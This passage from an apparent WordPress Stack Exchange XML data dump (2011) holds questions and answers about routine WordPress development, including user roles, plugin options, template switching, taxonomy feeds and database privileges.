  <row Id="8592" PostTypeId="2" ParentId="8586" CreationDate="2011-02-05T01:48:59.190" Score="0" ViewCount="" Body="&lt;p&gt;Even if it's not supported out of the box XML-RPC is extensible. See this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7303/how-to-get-all-posts-in-chunks-via-xml-rpc/7330#7330&quot;&gt;excellent answer on similar question&lt;/a&gt; for example how to add your own method to it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-05T01:48:59.190" />
  <row Id="8593" PostTypeId="2" ParentId="8590" CreationDate="2011-02-05T01:49:20.610" Score="1" ViewCount="" Body="&lt;p&gt;Simple all you need to do is edit this part of the code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function editable_roles( $roles ){&#xA;    if( isset( $roles['administrator'] ) &amp;amp;&amp;amp; !current_user_can('administrator') ){&#xA;      unset( $roles['administrator']);&#xA;    }&#xA;    return $roles;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function editable_roles( $roles ){&#xA;    //don't change anything if current user is admin &#xA;    if (current_user_can('administrator')) {&#xA;        return;&#xA;    }else{&#xA;        if( isset( $roles['administrator'] ) &amp;amp;&amp;amp; !current_user_can('administrator') ){&#xA;           unset( $roles['administrator']);&#xA;           //here you add  &quot;unset( $roles['role_to_remove']);&quot; for each role you wish to remove&#xA;        }&#xA;    return $roles; &#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-05T01:49:20.610" CommentCount="4" />
  <row Id="8594" PostTypeId="1" AcceptedAnswerId="8604" CreationDate="2011-02-05T02:14:30.490" Score="0" ViewCount="102" Body="&lt;p&gt;I'm combining two of my plugins into one. I'd like to make the activation routine of the second plugin a checkbox selection in the settings panel of the new plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm unsure how to execute functions when the options are submitted. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The my-plugin-options.php is basically this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;//options form goes here&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;page_options&quot; value=&quot;check1, check2, check3, etc&quot; /&amp;gt;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And its called from my main plugin file with this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_settings_admin() {&#xA;include_once dirname(__FILE__) . '/my-plugin-options.php';&#xA;}&#xA;&#xA; add_options_page( 'My Plugin Settings', &#xA;    'My Plugin Settings', &#xA;    'manage_options', &#xA;    'my-plugin-options.php', &#xA;    'my_settings_admin', &#xA;    $my_plugin_dir.'/favicon.png', &#xA;    'top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-05T09:33:40.810" Title="How can I add function calls to my plugin's options.php default submit routine?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="8595" PostTypeId="2" ParentId="8589" CreationDate="2011-02-05T02:19:08.563" Score="2" ViewCount="" Body="&lt;p&gt;I'm afraid that there is no easy way to get that done yet because the only hook i found is &lt;strong&gt;manage_comments_custom_column&lt;/strong&gt; and that is an &lt;strong&gt;action&lt;/strong&gt; hook and not a &lt;strong&gt;filter&lt;/strong&gt; hook so you can't add columns like manage_posts_columns. so as far as i can tell the long way here is the only way. but you can almost duplicate the default edit-comments.php and extending small classes like wp_post_comments_list_table and more.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-05T02:19:08.563" />
  <row Id="8596" PostTypeId="2" ParentId="8577" CreationDate="2011-02-05T03:04:41.870" Score="2" ViewCount="" Body="&lt;p&gt;Better to use &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; if you want to split content. See theme requirement: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_link_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_link_pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why people keep wanting &quot;Read more&quot; to work in Pages.&lt;/p&gt;&#xA;" OwnerUserId="1241" LastEditorUserId="2511" LastEditorDisplayName="" LastEditDate="2011-02-05T08:49:52.773" LastActivityDate="2011-02-05T08:49:52.773" CommentCount="2" />
  <row Id="8598" PostTypeId="1" CreationDate="2011-02-05T05:45:43.053" Score="1" ViewCount="309" Body="&lt;p&gt;I just got WP running on my own server. I am not trying to lock things down more. What permissions should the db user have to my WP db?&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:39:16.337" LastActivityDate="2011-02-05T10:39:16.337" Title="What are the recommended database permissions for WordPress?" Tags="&lt;mysql&gt;&lt;security&gt;&lt;permissions&gt;&lt;privileges&gt;" AnswerCount="2" />
  <row Id="8599" PostTypeId="1" CreationDate="2011-02-05T08:27:30.443" Score="0" ViewCount="148" Body="&lt;p&gt;I'm looking to see if there is already a plugin that does a gallery slide show like Huffington Post does where it shows either one image or video then you click next to see the next one. There is no need for a rating system. I'm hoping there is so I don't have to figure out how to make one :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.huffingtonpost.com/lee-brenner/viral-videos-2010_b_801501.html&quot; rel=&quot;nofollow&quot;&gt;http://www.huffingtonpost.com/lee-brenner/viral-videos-2010_b_801501.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bleacherreport.com/articles/437878-larissa-riquelme-and-the-25-hottest-superfan-photoshoots/page/1&quot; rel=&quot;nofollow&quot;&gt;http://bleacherreport.com/articles/437878-larissa-riquelme-and-the-25-hottest-superfan-photoshoots/page/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.businessinsider.com/super-bowl-commercials-super-bowl-xlv-2011-2#volkswagen--the-force-1&quot; rel=&quot;nofollow&quot;&gt;http://www.businessinsider.com/super-bowl-commercials-super-bowl-xlv-2011-2#volkswagen--the-force-1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FOUND A SOLUTION USING NEXTGEN:&lt;/strong&gt;&#xA;Actually someone found this post and they found the solution :)&#xA;&lt;a href=&quot;http://gregrickaby.com/2010/07/add-an-anchor-to-nextgen-gallery-image-browser.html&quot; rel=&quot;nofollow&quot;&gt;http://gregrickaby.com/2010/07/add-an-anchor-to-nextgen-gallery-image-browser.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="2832" LastEditorDisplayName="" LastEditDate="2011-04-29T02:04:41.800" LastActivityDate="2011-04-29T02:04:41.800" Title="Looking for WordPress Slideshow Gallery Plugin" Tags="&lt;gallery&gt;" />
  <row Id="8600" PostTypeId="2" ParentId="8569" CreationDate="2011-02-05T08:58:21.143" Score="4" ViewCount="" Body="&lt;p&gt;You can simple add the 'add_post_meta' after the 'wp_insert_post'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$my_post = array(&#xA;     'post_title' =&amp;gt; $_SESSION['booking-form-title'],&#xA;     'post_date' =&amp;gt; $_SESSION['cal_startdate'],&#xA;     'post_content' =&amp;gt; 'This is my post.',&#xA;     'post_status' =&amp;gt; 'publish',&#xA;     'post_type' =&amp;gt; 'booking',&#xA;  );&#xA;&#xA;$post_id = wp_insert_post($my_post);&#xA;&#xA;add_post_meta($post_id, 'META-KEY-1', 'META_VALUE-1', true);&#xA;add_post_meta($post_id, 'META-KEY-2', 'META_VALUE-2', true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-02-05T08:58:21.143" />
  <row Id="8601" PostTypeId="1" AcceptedAnswerId="8602" CreationDate="2011-02-05T09:01:17.567" Score="1" ViewCount="257" Body="&lt;p&gt;Currently I am working on Wordpress and I want to know can I add 1 more page in admin panel appearance menu so that it looks like this: ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Appearance&#xA;  Themes&#xA;  Widgets&#xA;  Menus&#xA;  Editor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to add one more page after Editor like &quot;Theme option&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2885" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:36:10.397" LastActivityDate="2011-02-05T10:36:10.397" Title="How to add another page in appearance tab of admin panel?" Tags="&lt;3.0&gt;&lt;admin-menu&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8602" PostTypeId="2" ParentId="8601" CreationDate="2011-02-05T09:21:30.717" Score="1" ViewCount="" Body="&lt;p&gt;You'd use the add_theme_page() function. Basically, it's the same as adding any other settings page, but instead of add_options_page(), you use add_theme_page().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Options_Pages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Settings_API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Adding_Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Adding_Administration_Menus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-05T09:21:30.717" CommentCount="1" />
  <row Id="8603" PostTypeId="2" ParentId="8598" CreationDate="2011-02-05T09:23:13.087" Score="3" ViewCount="" Body="&lt;p&gt;WordPress only uses one DB user for everything, and he'll need to have all permissions to the database. CREATE and ALTER are used when upgrading, sometimes. INSERT, UPDATE, and SELECT are used all the time.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-05T09:23:13.087" />
  <row Id="8604" PostTypeId="2" ParentId="8594" CreationDate="2011-02-05T09:33:40.810" Score="2" ViewCount="" Body="&lt;p&gt;If you are using the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;, then I'd say to add a check and function call for it in your sanitization callback (from register_setting).&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-05T09:33:40.810" CommentCount="2" />
  <row Id="8606" PostTypeId="2" ParentId="8598" CreationDate="2011-02-05T10:31:58.603" Score="0" ViewCount="" Body="&lt;p&gt;I've asked a similar but a bit more detailed question lately: MySQL Database User: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6424/mysql-database-user-which-privileges-are-needed&quot;&gt;Which Privileges are needed?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short installation instruction for WordPress (&lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress&quot; rel=&quot;nofollow&quot;&gt;&quot;5 Minutes&quot;&lt;/a&gt;) state that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Create a database for WordPress on your web server, as well as a MySQL user who has all privileges for accessing and modifying it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the minimum of privileges / permissions that are needed and next to those, others are not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your user has more privileges than those, you can reduce them.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T10:31:58.603" />
  <row Id="8608" PostTypeId="1" AcceptedAnswerId="8610" CreationDate="2011-02-05T13:12:32.907" Score="1" ViewCount="404" Body="&lt;p&gt;I have a custom post type called movies and I need to quickly switch the template that displays the movies cpt on the front end via a link. How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Files I have:&#xA;single-movies.php&#xA;template-movieslanding.php&#xA;template-movieswholesale.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functionality: A link group is displayed on each of the three templates as demonstrated below. These links are only displayed to logged in staff. The staff are not technical in the least and need a simplistic solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Views: Overview | Landing Page | Wholesale&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When each link is clicked I need to switch to that template. All templates use the same custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &#xA;~Matt&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-06T18:51:13.113" Title="How to quickly switch custom post type singular template?" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;page-template&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="8609" PostTypeId="1" AcceptedAnswerId="8611" CreationDate="2011-02-05T14:04:08.653" Score="0" ViewCount="155" Body="&lt;p&gt;After changing themes I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function add_editor_style() in /mydir/wp-content/themes/evolve/functions.php on line 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot even login to the administration panel&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-06-05T22:58:01.687" Title="How do I manually revert back to my old theme?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="8610" PostTypeId="2" ParentId="8608" CreationDate="2011-02-05T14:20:19.343" Score="5" ViewCount="" Body="&lt;p&gt;you can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add movies_view to query vars&#xA;add_filter('query_vars', 'my_query_vars');&#xA;&#xA;function my_query_vars($vars) {&#xA;    // add movies_view to the valid list of variables&#xA;    $new_vars = array('movies_view');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add a template redirect based on that query_var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;template_redirect&quot;, 'my_template_redirect');&#xA;&#xA;// Template selection&#xA;function my_template_redirect()&#xA;{&#xA;    global $wp;&#xA;    global $wp_query;&#xA;    if ($wp-&amp;gt;query_vars[&quot;post_type&quot;] == &quot;movies&quot;)&#xA;    {&#xA;        // Let's look for the property.php template file in the current theme&#xA;        if (array_key_exists('movies_view', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['movies_view'] == 'overview'){&#xA;            include(TEMPLATEPATH . '/single-movies.php');&#xA;            die();&#xA;        }&#xA;        if (array_key_exists('movies_view', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['movies_view'] == 'landing'){&#xA;            include(TEMPLATEPATH . '/template-movieslanding.php');&#xA;            die();&#xA;        }&#xA;        if (array_key_exists('movies_view', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['movies_view'] == 'wholesale'){&#xA;            include(TEMPLATEPATH . '/template-movieswholesale.php');&#xA;            die();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add this var to your links&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For Overview add    ?movies_view=overview to the url&lt;/li&gt;&#xA;&lt;li&gt;For Landing Page add    ?movies_view=landing to the url&lt;/li&gt;&#xA;&lt;li&gt;For Wholesale add    ?movies_view=wholesale to the url&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-05T14:20:19.343" CommentCount="3" />
  <row Id="8611" PostTypeId="2" ParentId="8609" CreationDate="2011-02-05T14:45:44.607" Score="2" ViewCount="" Body="&lt;p&gt;Simply  Delete or rename the theme's directory.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-05T14:45:44.607" />
  <row Id="8612" PostTypeId="1" AcceptedAnswerId="8630" CreationDate="2011-02-05T14:53:50.443" Score="0" ViewCount="106" Body="&lt;p&gt;While moving a client's WP site to a new host (single site, not multi), I found that Dashboard&gt;&gt;Users lists two admin accounts (above the detailed shows All(2) Administrator (2) ) but only shows one in the detailed list below; and only one admin account shows in the wp_users table with the ID of 1. Where is this extra admin account? And how do I remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(No need to warn me about security: there are no signs of hacking to the account, and in moving to the new host, all passwords have been changed, security tweaked up, fresh 3.0.4 core files uploaded and the database dump shows only one admin.)&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-02-05T15:52:59.237" LastActivityDate="2011-04-19T00:39:08.223" Title="Two admins in Users and one in the database?" Tags="&lt;admin&gt;&lt;account&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="8613" PostTypeId="2" ParentId="7621" CreationDate="2011-02-05T14:55:44.047" Score="0" ViewCount="" Body="&lt;p&gt;You can also try out this plugin (or at least look at the code in it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/headjs-loader/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/headjs-loader/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does a regex on the output before it printed to the screen, so it works even with scripts that were not enqueued.&lt;/p&gt;&#xA;" OwnerUserId="2969" LastActivityDate="2011-02-05T14:55:44.047" />
  <row Id="8616" PostTypeId="2" ParentId="8612" CreationDate="2011-02-05T15:38:47.487" Score="0" ViewCount="" Body="&lt;p&gt;This is probably a bug. Something similar had been reported in &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16367&quot; rel=&quot;nofollow&quot;&gt;Ticket #16367&lt;/a&gt;: The number displayed above the list did not match the entries in the list:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The count is cached and updated twice daily. This is not a live count.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably you need to wait some more hours until it's correct if you're using the multi-site and talking about super-admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not and you can still reproduce the problem, please report it to the wordpress project as this might be a bug which needs to be fixed first.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T15:38:47.487" CommentCount="5" />
  <row Id="8618" PostTypeId="2" ParentId="3720" CreationDate="2011-02-05T15:59:15.533" Score="2" ViewCount="" Body="&lt;h2&gt;The Solution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/812542&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1 Taxonomy Feeds Plugin (Must Use)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put that must-use plugin on your site and request:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://blog.example.com/feed/?taxonomy=taxonomy-name&quot; rel=&quot;nofollow&quot;&gt;http://blog.example.com/feed/?taxonomy=taxonomy-name&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;as you asked for it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Detailed Information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Wordpress offers requesting the feed with multiple configurations. &lt;a href=&quot;http://codex.wordpress.org/WordPress_Feeds#Finding_Your_Feed_URL&quot; rel=&quot;nofollow&quot;&gt;Finding Your Feed URL (Wordpress Codex)&lt;/a&gt; shows what is possible. Next to the standard feed (posts) you can have the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Comments - &lt;code&gt;http://example.com/?feed=commentsrss2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Categories - &lt;code&gt;http://example.com/?cat=42&amp;amp;feed=rss2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tags - &lt;code&gt;http://example.com/?tag=tagname&amp;amp;feed=rss2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Authors - &lt;code&gt;http://example.com/author/authorname/feed/&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Search - &lt;code&gt;http://example.com/?s=searchterm&amp;amp;feed=rss2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Note: RSS2 is Wordpress'default feed format)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is no example URL offered that is about querying the feed for posts of a taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, the Feed is just like any other blog post or comments line-up: a WP_Query and then running the loop in a feed template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP_Query has support for the &lt;code&gt;taxonomy&lt;/code&gt; request parameter by default. That request parameter is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;sort of documented in codex&lt;/a&gt;, that section has two issues: 1.) it's taxonomy (not tax) and second 3.1 is not released yet, so that's not deprecated already. The point I link that document is to show that it's value is compared against the taxonomies slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to find out if WordPress could easily do what you want to do you need to find out if the feed is already supporting taxonomies when requesting a certain category. I did this already, this is not the case. An additional request query var is used instead: &lt;code&gt;category_name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the moment the only interesting part is that we can make additional use of the &lt;code&gt;taxonomy&lt;/code&gt; request parameter and when wordpress looks for a feeds database data it is in some legacy category query mode, not in an taxonomy query mode. That's a bit of a pity as you are looking for taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Take a breath for the moment&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Because you need. The problem here with Wordpress is that you now start to run into the most complex inner guts of the software. There are some enormous complex functions in the package which to understand is like debugging code: You need to go through step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While doing so you might be lucky enough to find a filter or hook you can make use of to manipulate values and callbacks in the go to make the thing do what you want to do. But the problem is, the more you tinker the higher is the risk to break things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the art is to find the place to make changes that is the less invasive location.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Adding support for Taxonomies&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So as written above, support for taxonomies needs to be added in WP_Query directly. This can be done by hooking into that function and changing values while doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can be queried for taxonomies at all? I could not find much pre 3.1 information about that. It looks like that even WordPress 3.0 supports custom taxonomies, it was not possible to query posts that are in a specific taxonomy by request parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in my 3.1 testbed I was not able to map request parameters to taxonomy queries. So even with 3.1 this might not be easily done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best looking solution I can see so far is to hook into WP_Query and make use of a &lt;strong&gt;WordPress 3.1 based custom taxonomy query&lt;/strong&gt;, here some mock-up code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myquery['tax_query'] = array(&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;    ),&#xA;);&#xA;query_posts($myquery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I smell that this might not work, because we query for taxonomy only. Let's check that in detail.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;WP 3.1 Custom Taxonomy Query for Taxonomy Only&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To find out, I implement a simple script that hooked into &lt;code&gt;pre_get_posts&lt;/code&gt; and injected the WordPress 3.1 Custom Taxonomy Query shown above. As taxonomy I used one of the default ones: &lt;code&gt;category&lt;/code&gt; (You can &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/taxonomy.php?rev=17357#L17&quot; rel=&quot;nofollow&quot;&gt;find all default taxonomies here&lt;/a&gt;). It spit a lot of PHP warnings then which is a sign that this feature is somehow fragile. So be warned, don't expect things to work out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway I tested this and to make a long story ending quickies, I found the solution to just grab all terms and then add them to the query. Here is my mu-plugin I made use of so far: (posted above), does the job for me.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T15:59:15.533" />
  <row Id="8619" PostTypeId="2" ParentId="3708" CreationDate="2011-02-05T16:06:56.200" Score="0" ViewCount="" Body="&lt;p&gt;In retrospect, I've did a mashup of MikeSchinkel and t31os suggestion. It's possible to inject that to existing queries on the fly, but it needs WordPress 3.1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3720/rss-feed-for-posts-containing-any-term-from-a-taxonomy/8618#8618&quot;&gt;Plugin to get an RSS Feed for posts containing any term from a taxonomy.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T16:06:56.200" />
  <row Id="8620" PostTypeId="2" ParentId="4402" CreationDate="2011-02-05T16:52:26.300" Score="0" ViewCount="" Body="&lt;p&gt;What you try to achieve is a missing feature with the &lt;code&gt;get_comments()&lt;/code&gt; function in WordPress. So it is basically not possible to get comments by post-type with the &lt;code&gt;get_comments()&lt;/code&gt; function so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related ticket is: &lt;strong&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12904&quot; rel=&quot;nofollow&quot;&gt;Ticket #12904 - get_comments(): Enable post_status, post_type&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need another function that is returning the data you are looking for. Probably you need to write one on your own.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T16:52:26.300" />
  <row Id="8621" PostTypeId="1" CreationDate="2011-02-05T17:08:05.867" Score="1" ViewCount="76" Body="&lt;p&gt;I have a community blog at thelazy.info . I want to tag users based on their colleges and assign a role known as &quot;College Owner&quot; which will have permissions to edit users belonging to his colleges. How can I go about it?&lt;/p&gt;&#xA;" OwnerUserId="1926" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-05T19:16:33.260" LastActivityDate="2011-02-05T20:28:53.320" Title="Tagging users in Wordpress" Tags="&lt;users&gt;&lt;tags&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8622" PostTypeId="1" CreationDate="2011-02-05T17:19:53.327" Score="-1" ViewCount="445" Body="&lt;p&gt;Further to my previous question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields&quot;&gt;WP insert post PHP function and Custom Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a working insert post function that can also send over custom fields without yet knowing the ID. Please see the previous question for the answer. What we are trying to do now is have some of those custom fields dynamically load in. A session at the top of the page has loaded in all information from a post type called services. This is the code that then picks it up and inserts it into a new post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$my_post = array(&#xA;    'post_title' =&amp;gt; $_SESSION['booking-form-title'],&#xA;    'post_date' =&amp;gt; $_SESSION['cal_startdate'],&#xA;    'post_content' =&amp;gt; 'This is my post.',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'booking',&#xA;);&#xA;$the_post_id = wp_insert_post( $my_post );&#xA;&#xA;&#xA;__update_post_meta( $the_post_id, 'duration', $_SESSION['booking-form-actual-duration'] );&#xA;__update_post_meta( $the_post_id, 'picture', $_SESSION['booking-form-picture'] );&#xA;__update_post_meta( $the_post_id, 'totalprice', $_SESSION['booking-form-total-price'] );&#xA;__update_post_meta( $the_post_id, 'activityduration', $_SESSION['booking-form-total-duration'] );&#xA;__update_post_meta( $the_post_id, 'totaldives', $_SESSION['booking-form-total-dives'] );&#xA;&#xA;query_posts('post_type=services'); while (have_posts()) : the_post();&#xA;__update_post_meta( $the_post_id, 'producttitle'.get_the_ID(), $_SESSION['products-form-title'.get_the_ID()]); &#xA;__update_post_meta( $the_post_id, 'productprice'.get_the_ID(), $_SESSION['products-form-price'.get_the_ID()]); &#xA;__update_post_meta( $the_post_id, 'productduration'.get_the_ID(), $_SESSION['products-form-duration'.get_the_ID()]);&#xA;__update_post_meta( $the_post_id, 'productdives'.get_the_ID(), 